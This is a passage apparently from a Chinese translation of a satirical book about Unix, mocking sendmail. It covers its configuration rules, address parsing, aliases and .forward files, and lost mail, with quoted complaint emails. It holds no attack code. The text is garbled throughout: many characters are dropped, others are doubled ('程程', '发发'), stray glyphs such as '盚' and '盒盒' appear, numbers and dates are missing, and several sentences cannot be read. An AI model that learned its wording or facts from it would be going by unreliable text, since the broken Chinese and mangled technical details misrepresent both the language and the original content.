在 sendmail 生 的 , 因 特 网 邮 件 处 理 系 在 经 历 大 化 , 因 <br />
sendmail 必 配 置 , 否 将将 无 法 标 准 的 修 改 。 拿 sendmail 不 是 给 人<br />
看 的 配 置 文 件 来 吧 , 考 察察 一 sendmail.cf 的 神 秘秘 花 园 就就 能 发发 现 , 了 将将<br />
“@#$@$^%
· · 邮 件<br />
Sendmail 十十 分 智 能 用 不 的 字 运 行 , 就就 执执 行 不 的 能 。 有 时 候 就就<br />
是 常 的 sendmail, 有 时 候 又 化 身 邮 件 队 列 查 看 程程 序 , 或或 者 别 数 据据 <br />
建 程程 序 。 在 《 看 Sendmail》 [] 中 , 作 者 承 认 把把 这 么 多 能 全 部 塞 一 个 程程<br />
序 能 是 有 题 的 显 然 SMTP 服 、 邮 件 队 列 程程 序 , 还 有 别 数 据据 管<br />
理 系 当 分 解解 成 不 的 程程 序 ( 无 疑 这 才 是 Unix 的 “” 哲 学 )。 然<br />
而 我 们 有 sendmail 这 个 无 霸 , 在 目 睽 睽 继 续 膨 。<br />
期 Sun, Feb :: GMT<br />
来 自 罗 伯 特 核 E 核 西 斯 托托 姆 <br />
发发 给 UNIX 痛 者<br />
题 智 能 吗 ? 友 好 吗 ? 我 没没 感 觉 到 …盚…盚<br />
我 很 不 爽 , 因 最 近 我 的 网 站 有 人 提 要 求 , 想 让 我 们 的 投 递 程程 序 传 递 邮 件 , 但 这<br />
就就 不 再 符 RFC 了 。 一 看 , 眼 越 来 越 流 行 的 ISO/LATIN 编 码 格 式 是 的 (<br />
呢 ? 我 看 了 , 罗 马 字 母 不 过 才 个 ), 而 一 去去 掉 第 , 编 码 的 邮 件 肯 彻<br />
玩 完 盒 盒 我 不 是 这 件 事 情 很 好 , 而 是 标 准 就就 是 标 准 , 及 我 们 制 标 准 是 有 道 理<br />
的 , 及 ISO 的 作 者 不 该 这 么 固 执执 地 把把 脑 袋袋 塞 屁 眼 。 回 来 , 你 对 组 建 OSI 的 人<br />
还 抱抱 有 任 何 指指 望 么 ?<br />
所 我 决 升 级 到 Berzerkly Sendmail 的 最 新 版 (..), 据据 这 个 版 有 个 好 处 , 就就<br />
是 没没 有 遵 循 提 到 的 标 准 。 这 个 版 带 了 一 份 FAQ 文 档 。 多 么 美 妙 的 一 件 事 情 啊 ,<br />
现 在 我 们 有 了 FAQ, 因 越 来 越 多 的 Unix 无 能 辈 装装 和 乱 搞搞 越 来 越 复 杂 的 件 ,<br />
甚 至 摆 那 些 过 去去 多 半半 要 ( 倒 抽 一 凉 气 ) 阅 读 源 码 才 能 解解 决 的 题 !<br />
这 份 FAQ 推 荐 了 一 书 , 给 那 些 立立 成 “Sendmail 巫 师 ” 的 人 <br />
考 斯 特 斯 、 沃沃 曼 和 瑞 科 特 著 ,《Sendmail》 [] 。 奥 莱 利 出 版 社 出 版 。<br />
你 见 过 这 书 吗 ? 厚厚 度 超 过 《 战战 争 与 和 》, 超 过 我 的 TOPS- 系 调 用 手手 册 。 用 .<br />
毫毫 米 气 手手 枪 直 射射 , 弹 头 穿穿 过 的 深 度 还 不 到 一 半半 ( 个 周 试 试 . 毫毫 米 )。 对 这 几 在 因<br />
特 网 维 护 机 的 某 些 壮 士 来 , 这 些 节 描 写 大 概概 是 必 要 的 , 他 们 的 遭 遇 更 悲 惨 ,<br />
但 这 是 外 一 个 故 事 。<br />
然 呢 , 在 FAQ 真 的 “ 题 ” 环 节 , 我 看 到 的 是 <br />
考 斯 特 斯 的 书 封封 什 么 有 蝙 蝠 ?<br />
答 你 想 真 的 原原 因 还 是 搞搞 笑 的 原原 因 ? 真 的 原原 因 是 , 当 时 有 幅 照 片<br />
摆 在 布 莱 考 斯 特 斯 的 前 , 然 他 最 看 得 蝙 蝠 。 搞搞 笑 的 原原 因 是 , 尽 管<br />
sendmail 的 声 很 恐 怖 , 但 很 友 好 很 聪 明 , 就就 像 蝙 蝠 一 。<br />
友 好 ? 聪 明 ?, 我 随 便 就就 能 想 到 一 堆 答 案 , 且 不 这 个 回 答 错 得 离 谱 。 看 看 我 想 到 的 <br />
• 北 美 常 见 的 棕棕 蝠 多 种 虫 子 食 , 而 sendmail 体 内 有 很 多 虫 子 ( 件 臭 虫 )。<br />
• 蝙 蝠 了 食 而 伸 舌 头 ,sendmail 因 蠢蠢 而 嘟 舌 头 。<br />
• 蝙 蝠 和 sendmail 维 护 者 都 有 夜 行 性 , 嘴 发发 出 “” 的 声 , 通 人 完 全 <br />
不 懂 。<br />
• 你 观 察察 过 蝙 蝠 如 何 飞 行 吗 ? 你 观 察察 过 sendmail 如 何 对 付 满 满 当 当 的 无 法 投 递 的 邮<br />
件 吗 ? 一 回 事 。<br />
• 如 果 企 图 饲 或或 运 行 , 蝙 蝠 和 sendmail 都 死 得 很 快 。<br />
<br />
译 注 Bryan Costales。<br />
<br />
译 注 Neil Rickert。
题 : 退 回 的 邮 件 : 查掝 无捂 人<br />
· ·<br />
• 蝙 蝠 粪 便 富 硝 酸 钾 , 某 种 爆 炸 物 的 要 成 分 , 就就 像 sendmail。<br />
• 蝙 蝠 和 sendmail 在 当 中 的 形 象 都 很 差 。<br />
• 想 让 蝙 蝠 从 命 , 需 要 神 秘秘 的 ( 用 到 十十 字 架 和 大 蒜 的 ) 教 仪 式 。Sendmail <br />
差 不 多 , 比 如 这 的 神 秘秘 咒 语 <br />
R$*$=Y$~A$* $:$$?$$ Mark user portion.<br />
R$*!$+,$*?$+ $!$!$?$ is inferior to @<br />
R$+,$*?$+ $:$?$ Change src rte to % path<br />
R:$+ ,$ Change % to @ for immed. domain<br />
R!?$+ $@!$ Return UUCP<br />
R!?$+ $@!$ Return unqualified<br />
R$+?$+ $$ Remove '?'<br />
R$=Y$+ $@,$ Change do user@domain<br />
• 农 认 蝙 蝠 是 朋 友 , 因 蝙 蝠 捕捕 食 害 虫 。 农 认 sendmail 是 朋 友 , 因 <br />
sendmail 的 存 在 , 多 过 大 学 教 育 的 人 都 想 回 家 种 红 薯 拉拉 倒 。<br />
我 一 直 玩 去去 , 但 你 大 概概 已 经 了 我 的 精 神 。 敬 请 注 . 毫毫 米 气 枪 的 射射 击 测 试<br />
结 果 !<br />
盒 盒 罗 伯 特<br />
题 : 退 回 的 邮 件 : 查掝 无捂 人<br />
每 收 到 邮 件 时 , 邮 件 系 都 必 执执 行 没没 什 么 难 度 的 任 , 便 投<br />
递 给 最 接接 收 者 <br />
. 把把 邮 件 的 地 址 和 余 部 分 区 分 开 。
· · 邮 件<br />
. 将将 地 址 分 解解 两 部 分 字 和 机 ( 很 像 美 国 邮 政 把把 地 址 分 解解 字 、<br />
街街 道 及 门 牌 , 还 有 所 在 的 镇 和 州 )。<br />
. 如 果 目 标 机 不 是 机 , 那 么 就就 转 发发 邮 件 。<br />
. 如 果 目 标 机 就就 是 机 , 那 么 就就 找 出 接接 收 邮 件 的 ( 一 个 或或 多 个 ) 用 户户 ,<br />
然 把把 邮 件 放 确 的 邮 箱 或或 文 件 。<br />
然 而 sendmail 地 把把 每 一 都 搞搞 砸 了 。<br />
第 一 : 区 分 邮 件 地 址<br />
对 人 来 , 这 是 很 容 易 的 , 比 如 <br />
期 Wed, Oct :: -<br />
来 自 托托 马 斯 核 伦 斯 <br />
发发 给 msgs@media.mit.edu<br />
题 人 行 道 堵 塞<br />
堵 塞 房 子 前 人 行 道 的 圆 木 将将 用 于 建 一 个 倒 塌 的 检 修 孔 。 这 些 圆 木 在 那 放 两 到 <br />
周 。<br />
我 们 轻 易 就就 能 看 出 邮 件 来 自 “ 托托 马 斯 核 伦 斯 ”, 发发 给 MIT 媒 体 验 <br />
的 “msgs” 邮 件 组 , 内 容 是 于 房 子 外 人 行 道 的 一 些 圆 木 。 但 Unix 就就<br />
搞搞 不 这 件 事 情 <br />
期 Wed, Oct :: -<br />
来 自 托托 马 斯 核 伦 斯 <br />
题 人 行 道 堵 塞<br />
发发 给 msgs@media.mit.edu<br />
抄抄 这 些 @media-lab.media.mit.edu 堵 塞 房 子 前 人 行 道 的 圆 木 将将 用 于 @medialab.media.mit.edu<br />
有 人 指指 出 ,sendmail 偶 尔尔 把把 整 封封 邮 件 的 内 容 ( 甚 至 是 倒 着 ) 解解 析 一<br />
串 地 址 <br />
期 Thu, Sep :: -<br />
来 自 MAILER-DAEMON@Neon.Stanford.EDU<br />
备 注 CS.Stanford.EDU 新 分 发发<br />
似 发发 给 < 胡 核 埃 查 奎 邮 件 jve@lifia.imag.fr 电 ()><br />
似 发发 给 < 又 及 如 果 有 趣 我 来 个 总 结 @Neon.Stanford.EDU><br />
似 发发 给 < 胡 @Neon.Stanford.EDU><br />
似 发发 给 < 先 谢 过 了 @Neon.Stanford.EDU><br />
似 发发 给 < 行 形 式 化 有 趣 。 迎 批批 指指 @Neon.Stanford.EDU><br />
似 发发 给 < 我 对 岑岑 和 自 然 演 义 法 对 时 逻 辑 @Neon.Stanford.EDU>
题 : 退 回 的 邮 件 : 查掝 无捂 人<br />
· ·<br />
第 二 : 解 析掏 邮 件 地 址<br />
解解 析 电 子 邮 件 的 地 址 很 简 单 , 不 过 是 寻 找 分 隔 人 和 机 的 “ 标 准 ” 字<br />
符 。 然 而 倒 霉 的 Unix 过 于 信 标 准 了 , 结 果 必 处 理 ( 至 少少 ) 种 分 隔 字<br />
符 “!”、“@” 和 “%”。“@” 用 于 在 因 特 网 路 邮 件 ,“!”( 出 于 某 种 原原<br />
因 ,Unix 拥拥 趸 坚 持 读 成 “ 嘣 ”) 用 于 UUCP, 而 “%” 是 个 添 头 ( 和 期 的<br />
ARPANT 投 递 程程 序 保 持 容 )。 当 机 A 的 张 想 给 机 B 的 李 四 发发 信 ,<br />
他 需 要 的 邮 件 头 大 概概 是 这 的 李 四 @bar!B%baz!foo.uucp。Sendmail 首 先<br />
得 负 解解 析 这 堆 音 , 然 尝尝 试 把把 邮 件 发发 到 某 个 逻 辑 的 地 方 。<br />
有 时 候 忍 不 对 sendmail 表表 示 情 , 因 它 自 己 就就 是 多 种 Unix“ 标<br />
准 ” 的 牺 牲 品 。 当 然 ,sendmail 得 承 担 一 的 任 , 要 不 是 让 发发 程程 序<br />
(sender) 过 于 卖 技 淫 , 用 户户 或或 不 在 敲 入 地 址 时 感 到 怒 不 遏 ,<br />
相 反 他 们 或或 要 求 系 管 理 员 好 生 配 置 投 递 程程 序 (mailer),netmail 或或 <br />
再 地 作 而 不 在 哪 收 发发 。<br />
道 理 , 有 时 候 sendmail 又 搞搞 得 过 了 。<br />
期 Wed, Jul :-<br />
来 自 朱 迪 核 德 森森 <br />
发发 给 UNIX 痛 者<br />
题 投 递 程程 序 的 每 一 错<br />
最 近 我 和 投 递 程程 序 的 “ 每 一 错 ” 玩 得 不 。 似 有 人 从 某 个 “.at” 结 尾 的 机<br />
给 我 发发 邮 件 , 那 么 当 我 回 复 邮 件 时 发发 生 什 么 ? Unix 投 递 程程 序 要 把把 “at” 替 换<br />
成 “@”, 然 抱抱 怨 找 不 到 该 机 , 或或 者 抱抱 怨 地 址 格 式 不 确 ! 到 有 多 少少 种 失 的 方<br />
式 ? 我 不 得 了 。<br />
…盚…盚 或或 者 senmail 就就 是 觉 得 朱 迪 不 该 往 奥 地 利<br />
<br />
发发 邮 件 。<br />
第 : 确 定 邮 件 去 向<br />
在 美 国 , 不 你 把把 收 件 人 写 成 “John Doe”、“John Q. Doe” 还 是 “J.<br />
Doe”, 美 国 邮 政 都 把把 信 投 递 给 John Doe, 与 类 似 , 电 子 邮 件 系 处<br />
理 一 个 人 的 多 个 别 。 比 较 高 级 的 电 子 邮 件 系 自 做 好 这 件 事 情 ,<br />
比 如 卡 耐 基 梅 隆 大 学 的 “ 德 鲁 ” 系 。 但 sendmail 没没 那 么 智 能 , 因 需 要<br />
有 人 耳 提 命 地 告 它 , 原原 来 “John Doe”、“John Q. Doe” 和 “J. Doe” 都<br />
是 一 个 人 , 体 做 法 是 维 护 一 个 别 文 件 , 中 指指 从 地 址 中 的 字 到 计 算<br />
机 用 户户 的 映 射射 系 。<br />
<br />
译 注 at 是 奥 地 利 的 国 缩 写 。
· · 邮 件<br />
该 别 文 件 相 当 强 悍 发发 给 一 个 地 址 的 邮 件 被被 投 递 给 多 不 的<br />
用 户户 盒 盒 这 就就 是 邮 件 列 表表 的 作 方 式 。 例 如 一 个 做 “ 煎 蛋 饼 食 ” 的 字<br />
能 被被 映 射射 “ 东 、 金 和 布 鲁 斯 ”, 然 发发 给 “ 煎 蛋 饼 食 ” 的 邮 件 就就 被被<br />
投 递 到 个 邮 箱 中 。 别 文 件 是 一 个 自 然 而 然 的 想 法 , 自 从 发发 第 一 封封 电 子<br />
邮 件 开 始 就就 存 在 了 。<br />
但 不 幸 sendmail 搞搞 不 清 楚楚 这 个 概概 念 , 而 别 文 件 的 格 式 成 计<br />
中 的 反 教 材 , 对 我 们 想 些 伤 感 情 的 , 什 么 “ 来 自 计 算 界 的 黑 暗 时<br />
”, 但 我 们 不 能 , 因 那 时 候 别 文 件 是 工 作 的 而 sendmail 最 新 的<br />
现 的 别 文 件 才 是 四 处 漏 水水 的 那 个 。 图 . 的 内 容 摘摘 自 某 个 sendmail 别 <br />
文 件 , 来 自 某 个 过 去去 维 护 系 , 而 今 被被 迫 使 用 sendmail 的 人 。<br />
###################################################################<br />
# 在 你 动 手 修 改挢 这 个 文挱 件 之 前 , 请 必 阅 读 : 谢 谢 !<br />
#<br />
# 因 别 文 件 已 经 比 城 市 黄 页 还 长 , 所 在 修 改 文 件 , 你 必 运 行 <br />
# 命 <br />
# /usr/local/newaliases<br />
#( 或或 者 , 在 Emacs 中 编 辑 输 入 “m-x compile”。)<br />
#<br />
#[ 请 注 意 这 个 命 不 告 用 户户 邮 件 列 表表 文 件 的 语 法 是 否 确 盒 盒 或或 是<br />
# 一 声 不 地 把把 整 个 邮 件 系 扔 到 窗窗 外 了 事 。<br />
# 欢 迎 来掆 到 未捷 来掆 世 界 。]<br />
#<br />
# 特 别 注 意 必 确 保 每 个 邮 件 地 址 都 有 机 , 否 sendmail 自 作 张<br />
# 黄 页 的 域 , 这 显 然 是 不 对 的 。 确 的 做 法 是 如 果 你 在 “wheaties”<br />
# 机 收 到 邮 件 , 而 你 的 字 是 johnq, 那 么 就就 用 “johnq@wh” 作 邮 件 地 址 盒<br />
# 盒 直 接接 使 用 “johnq” 有 大 麻 烦 。 还 要 一 点 , 任 何 “ai.mit.edu” 域 <br />
# 外 的 机 字 必 完 整 , 因 “xx” 不 是 确 的 字 , 而 “xx.lcs.mit.edu”<br />
# 才 是 。<br />
# 欢 迎 来掆 到 未捷 来掆 世 界 。<br />
#<br />
# 当 列 表表 很 长 时 的 注 意 事 <br />
# 据据 经 验 , 如 果 这 个 文 件 中 的 任 何 邮 件 列 表表 所 包 的 收 件 人 超 过 五 十十 个 , 那<br />
# 么 在 运 行 程程 序 newalias 时 报 告 “ 目 大 ” 的 错 误 。 但 用 户户 无 法 知 道 哪 个 列<br />
# 表表 出 了 题 , 要 是 你 好 修 改 了 某 个 列 表表 , 倒 算 是 一 线 索 。 入 第 五 十十 一 个<br />
# 目 就就 出 现 这 个 题 。 有 个 折折 衷衷 的 法 包 别 的 文 件 , 这 似 容<br />
# 纳 多 得 多 或或 者 无 限 的 收 件 人 。[ 题 的 源 是 sendmail 把把 文 件 保 存 dbm(3)<br />
# 格 式 , 而 这 种 格 式 把把 每 个 别 的 长 度 限 制 在 内 部 块 的 大 小小 (K) 内 。]<br />
# 欢 迎 来掆 到 未捷 来掆 世 界 。<br />
#<br />
# 于 注 释 的 注 意 事 <br />
# 和 MMAILR 不 , 用 户户 不 能 在 行 尾 添 “#” 开 头 的 注 释 , 否 投 递 程程 序<br />
#( 或或 者 newaliases) 认 “#” 是 地 址 的 一 部 分 , 而 不 是 注 释 。 这 就就 是 ,<br />
# 你 不 能 把把 注 释 和 码 放 在 一 行 如 果 你 在 邮 件 列 表表 中 间 插插 入 注 释 ( 即 使 独<br />
# 占 一 行 ), 就就 不 要 指指 望 程程 序 确 处 理 的 部 分 。<br />
# 欢 迎 来掆 到 未捷 来掆 世 界 。<br />
###################################################################<br />
图 .: 某 sendmail 别 文 件 的 片 段
题 : 退 回 的 邮 件 : 查掝 无捂 人<br />
· ·<br />
至 于 sendmail 的 别 数 据据 , 无 救 药 的 格 式 就就 算 了 , 在 多 仍 广<br />
泛 使 用 的 版 中 , 如 果 sendmail 把把 别 文 件 编 译 成 二 制 格 式 , 那 么 将将<br />
拒拒 时 做 别 的 事 情 既 不 投 递 邮 件 , 不 解解 析 字 。<br />
期 Thu, Apr :: EDT<br />
来 自 斯 蒂 芬 核 斯 特 拉拉 斯 曼 <br />
发发 给 UNIX 痛 者<br />
题 痛 苦 、 死 亡 和 毁 容<br />
有 时 候 , 运 行 Unix 就就 像 品 尝尝 某 种 稀稀 罕 的 蘑 菇 , 你 得 赶 好 时 候 。 比 如 你 给 某 个 邮 件<br />
列 表表 发发 信 , 但 别 遇 到 有 人 在 运 行 newaliases。<br />
你 看 ,newaliass 处 理 /usr/lib/aliases 简 直 就就 是 生 吞 活 剥 遇 到 拼 写 错 误 笑 嘻 嘻 地 视 而 不<br />
见 , 遇 到 危 险 的 白 字 符 又 噎 得 翻 白 眼 , 对 待 注 释 随 心 所 欲 但 就就 是 不 把把 注 释 当 注 释 , 外<br />
从 不 报 告 错 误 和 警 告 。 这 是 怎 么 搞搞 的 ? 恐 怕 在 解解 析 时 并 完 全 理 解解 所 读 的 内<br />
容 。<br />
我 啊 , 让 投 递 程程 序 在 餐 前 等 到 香 煮 熟 是 不 是 难 了 。 然 而 在 newaliass 更 新 数<br />
据据 的 时 ,Unix 显 然 无 力 保 留 的 用 版 。 你 看 , 因 这 么 做 需 要 盒 盒 呃 盒 盒 <br />
不 需 要 , 但 Unix 就就 是 没没 辙 。<br />
假 在 邮 件 到 达 时 发发 现 无 法 展展 开 别 列 表表 ,sendmail 怎 么 做 呢 ? 当 然 了 , 天 掉拵 馅 饼<br />
呗 。 比 如 你 发发 信 给 列 表表 尾 的 “ 拉拉 链 爱 好 者 (ZIPPER-LOVERS)”, 而 newaliass 才 处 理 到<br />
ACME-CATALOG-REQUEST,sendmail 就就 开 心 地 告 你 找 不 到 收 信 人 。 接接 来 新 的 邮 件<br />
数 据据 于 建 好 了 , 带 着 新 的 错 误 配 置 , 而 版 盒 盒 已 知 确 作 的 最 版 <br />
盒 盒 永永 丢 失 了 , 不 过 修 改 别 列 表表 的 人 对 一 无 所 知 , 所 发发 往 有 效 地 址 的 邮 件 <br />
被被 回 来 , 但 好 在 是 不 时 发发 生 。<br />
第 四 : 确 投 递 邮 件<br />
你 不 想 吗 ?<br />
, 如 果 有 人 倒 霉 曾 让 sendmail 处 理 邮 件 , 那 么 对 遇 到 过 邮 件<br />
发发 错 人 通 常 这 些 邮 件 都 有 隐 私 内 容 , 还 不 知 怎 么 的 老 是 发发 给 果 最 严 的<br />
那 个 人 。<br />
还 有 一 些 情 况 ,sendmail 直 接接 晕 菜 了 , 不 知 道 该 把把 邮 件 发发 到 什 么 地 方 。<br />
还 有 时 候 ,sendmail 脆 把把 邮 件 扔 了 没没 人 抱抱 怨 , 因 没没 人 知 道 邮 件 丢 了 。<br />
鉴 于 Unix 是 如 撒 谎 成 性 , 而 sendmail 又 是 如 脆 弱 , 所 即 使 遇 到 邮 件<br />
被被 悄 悄 删 除 的 情 况 , 没没 法 调 试 。<br />
期 Tue, Apr :: EDT<br />
来 自 斯 蒂 芬 核 斯 特 拉拉 斯 曼 <br />
发发 给 UNIX 痛 者<br />
题 Unix 和 解解 析<br />
知 道 吗 ? 你 们 中 有 人 能 在 , 喂 , 这 个 straz 的 家 给 “UNIX 痛 者 ” 发发 了 这<br />
么 多 邮 件 ? 他 每 都 遇 到 新 状 况 ? 有 时 候 还 遇 到 两 个 ? 他 总 是 怨 气 冲 ?<br />
所 有 这 些 题 的 回 答 都 是 一 个 我 用 Unix。
· · 邮 件<br />
就就 像 今 , 一 个 怜 巴 巴 的 用 户户 我 , 她 突突 然 两 都 收 不 到 任 何 邮 件 。 和 他 大 多<br />
数 用 户户 不 , 她 的 帐 不 在 媒 体 验 的 机 , 而 是 用 我 的 作 站 收 和 阅 读 邮 件 。<br />
我 给 她 发发 了 一 封封 邮 件 , 结 果 毫毫 无 悬 念 , 丢 了 , 没没 有 崩 溃 , 没没 有 错 误 , 就就 是 丢 了 。 我 先<br />
尝尝 试 常 见 的 法 来 解解 决 题 , 但 翻 了 一 个 小小 时 的 手手 册 页 , 我 放 了 。<br />
几 个 小小 时 , 在 解解 决 一 个 不 相 的 Unix 题 时 , 我 运 行 “ps -ef” 查 看 某 些 程程 , 却<br />
发发 现 我 的 程程 程程 并 不 属属 于 “starz”, 而 是 一 个 做 “” 的 家 盒 盒 该 打 开 <br />
文 件 /etc/passwd 看 看 了 。<br />
就就 在 这 , 文 件 的 第 行 , 是 这 个 新 用 户户 , 跟 着 一 行 ( 恐 怖 的 ) 空空 白 盒 盒 我 <br />
了 , 一 行 空空 白 盒 盒 余 的 内 容 完 整 无 缺 。 对 你 我 来 这 再 明 白 不 过 , 但 对 Unix 就就 是 外<br />
一 回 事 了 糟 糕 ,ps 命 想 获 得 我 的 字 , 调 用 的 函 数 却 无 法 越 过 空空 行 读 文 件 , 因 <br />
ps 脆 断 “starz” 不 存 在 。 看 得 出 来 ,Unix 的 文 解解 析 能 力 就就 和 核 奎 尔尔 的 子 力<br />
学 水水 差 不 多 。<br />
但 这 都 是 你 的 。 在 将将 邮 件 放 入 队 列 前 , 投 递 程程 序 查 看 /etc/passwd 的 内 容 , 在 中<br />
发发 现 了 收 件 人 的 字 , 很 好 , 因 不 用 先 啐 一 “ 知 用 户户 ” 再 把把 邮 件 扔 回 去去 。 但 是<br />
当 真 保 存 邮 件 , 比 如 到 目 录 /usr/mail 时 , 投 递 程程 序 又 手手 无 策 了 , 因 在 解 析掏 时捉 无捂<br />
法 越 过 空 行 , 却 全 然 不 顾 其 实 收挡 件 人 是捔 已 知 的 , 因 是 它 自 己 最 先 接接 这 封封 杀 的 邮<br />
件 。 那 么 接接 来 呢 ?Unix 风 格 十十 足 一 声 不 吭 地 把 邮 件 扔 掉拵 , 但 愿 没 什 么 要 紧 的 事 情 !<br />
那 一 行 空空 白 是 怎 么 来 的 呢 ? 真 高 你 这 个 题 。 空空 行 前 有 个 新 用 户户 的 帐 , 这 是 某<br />
个 好 心 的 事 在 终 端 运 行 ed 添 的 , 由 于 设 置 了 掙 些 非 标採 准 的 环 境 量 , 他 无捂 法 使<br />
用 Emacs 或 者 vi, 所 看 不 到 多 余 的 那 行 , 结 果排 Unix 被 噎 得 翻 白 眼 , 但 还 是捔 转 不 过 弯<br />
来掆 。 这 就就 是 原原 因 。<br />
来掆 自 :<br />
Sendmail 的 题 在 于 配 置 文 件 是 一 个 基 于 规 的 专 家 系 , 但 电 子<br />
邮 件 的 世 界 无 法 逻 辑 描 述 , 而 sendmail 的 配 置 文 件 编 辑 不 是 专<br />
家 。<br />
盒 盒 戴 维 核 威 茨 曼 ,BBN<br />
把把 已 有 的 邮 件 投 递 协 揍揍 得 头 破 血血 流 不 算 ,Unix 还 发发 明 了 更 新 更 潮 的<br />
方 法 , 确 保 邮 件 无 法 按按 照 用 户户 的 期 望 达 , 邮 件 转 发发 就就 是 中 一 。<br />
假 你 搬 了 新 家 , 希 望 邮 局 自 把把 邮 件 转 发发 过 来 。 目 前 大 家 的 做 法 是<br />
理 的 给 维 护 中 数 据据 的 地 邮 差 打 个 招 呼 , 每 当 收 到 给 你 的 邮 件 时 ,<br />
就就 贴 新 的 地 址 , 然 投 递 到 新 的 目 的 地 。<br />
还 有 一 种 不 的 方 法 在 邮 箱 旁 放 个 告 示 , 写 着 你 的 新 地 址 。<br />
当 邮 差 看 到 这 个 告 示 , 就就 不 把把 邮 件 放 邮 箱 , 而 是 贴 新 地 址 带 回 邮<br />
局 。 回 回 如 。<br />
<br />
译 注 Dan Quayle, 起 担 任 美 国 第 任 副 总 , 人 在 前 有 不 学 无 术 的 形 象 。<br />
“Ed 是 标 准 的 Unix 编 辑 。” 盒 盒 Unix 文 档 ( 约 )
来掆 自 :<br />
· ·<br />
第 二 种 法 的 缺 点 显 而 易 见 。 首 先 , 做 了 很 多 额 外 的 无 用 但 更 要 紧<br />
的 是 邮 差 不 是 每 都 能 看 到 告 示 盒 盒 或或 在 雨 , 或或 被被 某 人 的 垃 圾 桶 挡<br />
, 或或 他 赶 时 间 。 当 发发 生 这 些 情 况 时 , 邮 差 就就 把把 邮 件 错 误 地 投 递 到 邮<br />
箱 , 而 你 永永 看 不 到 , 除 非 开 车 回 去去 , 或或 者 让 邻 居居 帮 你 。<br />
我 们 不 是 现 在 才 发发 明 这 蠢蠢 法 ,Unix 就就 用 了 。 这 把把 邮 箱 旁 的<br />
那 个 告 示 称 .forward 文 件 , 但 投 递 程程 序 对 常 常 失 交 臂 , 然 把把 邮 件 扔<br />
在 你 不 希 望 的 地 方 。 当 我 们 生 活 在 这 个 分 布 式 的 , 这 种 情 况 简 直 空空 见<br />
惯 。<br />
期 Thu, Oct :: EDT<br />
来 自 艾 伦 核 鲍 登 发发 给 SUN-BUGS<br />
抄抄 UNIX 痛 者<br />
题 我 有 邮 件 吗 ?<br />
每 登 录 到 Sun 机 , 我 都 被被 告 知 有 邮 件 , 但 我 不 想 在 Unix 收 邮 件 , 我 想 把把 邮 件 转 发发<br />
到 “Alan@AI”。 据据 我 所 知 , 我 在 Sun 机 的 目 录 没没 有 置 邮 箱 , 但 或或 Unix 把把 邮<br />
箱 放 在 了 别 处 ? 如 果 我 发发 信 给 “alan@wheaties” 测 试 , 确 转 发发 到 AI , 这 符<br />
目 录 的 .forward 文 件 的 置 外 “Alan@AI” 作 邮 件 地 址 入 了 我 的 inquir<br />
数 据据 目 。 然 而 每 登 录 ,Sun 机 都 告 我 有 邮 件 。(aliases 中 没没 有 于 我 的 <br />
录 , 我 需 要 在 更 新 .forward 文 件 和 inquir 目 外 再 添 一 吗 ?)<br />
所 请 各 出 个 意 <br />
A. 告 我 要 不 理 “ 你 有 邮 件 ” 的 提 示 就就 好 了 , 因 并 没没 有 邮 件 堆 积 在 文 件 系 <br />
的 某 个 黑 暗 角 落 , 或或 者<br />
B. 找 到 提 示 所 指指 的 那 封封 邮 件 再 转 发发 给 我 , 然 修 改 配 置 让 这 种 情 况 不 再 发发 生 。<br />
谢 谢 。<br />
第 二 , 艾 伦 回 答 了 自 己 的 题 <br />
期 Fri, Oct : EDT<br />
来 自 艾 伦 核 鲍 登 <br />
发发 给 UNIX 痛 者<br />
题 我 有 邮 件 吗 ?<br />
期 Thu, Oct :: EDT<br />
来 自 艾 伦 核 鲍 登 <br />
…盚…盚(aliases 中 没没 有 于 我 的 录 , 我 需 要 在 更 新 .forward 文 件 和 inquir<br />
目 外 再 添 一 吗 ?)…盚…盚<br />
答 案 明 显 是 “ 是 的 ”。 如 果 你 的 目 录 所 在 的 文 件 服 宕 机 了 , 投 递 程程 序 找 不 到 <br />
目 录 的 .forward 文 件 , 因 把把 邮 件 保 存 到 /usr/spool/mail/alan( 或或 别 的 什 么 地 方 )。 如<br />
果 你 真 的 不 想 学 如 何 在 Unix 阅 读 邮 件 , 就就 得 在 aliases 文 件 中 给 自 己 增 一 。 按按<br />
照 我 的 想 , 目 录 的 .forward 文 件 没没 别 的 用 处 , 是 一 种 让 Unix 投 递 程程 序 愈 发发 测<br />
的 机 制 。<br />
我 有 点 好 , 要 是 aliases 文 件 所 在 的 服 宕 机 了 怎 么 ?
· · 邮 件<br />
无捂 视 协 议<br />
了 混 乱 并 促 和 谐 , 每 种 社 都 有 若 规 。 一 街街 道 的 邻 居居<br />
们 能 来 自 五 湖 四 海 , 比 如 欧 洲 、 非 洲 或或 者 南 美 计 算 机 网 与 类 似 ,<br />
中 的 电 脑 邻 居居 们 能 装装 南 海 北 , 着 迥 的 语 言言 。 了 彼 交 流 , 街街 坊<br />
们 形 成 了 一 套 共 的 礼 仪 电 脑 邻 居居 们 得 遵 循 一 种 共 的 语 言言 , 这 就就 是 通<br />
信 协 。<br />
如 果 哪 街街 道 搬 一 个 混 球 , 或或 者 网 中 接接 入 一 Unix 机 , 情 况<br />
就就 了 。 混 球 和 Unix 机 都 不 规 矩 , 他 们 踢 翻 垃 圾 桶 , 把把 立立 体 声 开 得 震<br />
响 , 让 别 人 全 都 过 不 好 , 有 那 些 拍 马 屁 的 窝 囊 废 跑 来 抱抱 粗 腿 。<br />
真 希 望 我 们 言言 过 了 , 但 事 就就 是 这 。 开 发发 行 的 协 是 有捯 的 , 在<br />
计 算 机 世 界 的 市 政 厅 盒 盒 RFC 盒 盒 查 到 , 然 而 当 你 使 用 Unix, 就就 能 亲<br />
身 体 验 于 Unix 不 想 遵 循 协 带 来 的 伤 害 。<br />
sendmail 例 , 这 家 有 个 举 既 反 社 又 犯 法 , 就就 是 把把 回 的 邮<br />
件 发发 给 错 误 地 址 。 假 你 要 通 过 美 国 邮 政 发发 出 一 封封 信 , 写 着 你 的 件 地<br />
址 , 然 发发 信 时 你 把把 信 件 扔 了 街街 那 头 的 邮 箱 , 或或 者 委 托托 朋 友 帮 。 我 们 再<br />
假 该 信 件 被被 收 信 人 标 “ 给 发发 信 人 ”, 那 么 聪 明 的 系 将将 发发 给 件<br />
地 址 , 愚 蠢蠢 的 系 将将 回 到 信 件 发发 出 的 地 方 , 例 如 街街 那 头 的 邮 箱 , 或或 者<br />
你 朋 友 家 。<br />
那 个 倒 霉 孩 子 自 然 是 Unix, 但 情 况 还 要 复 杂 些 , 因 有 些 事 情 你<br />
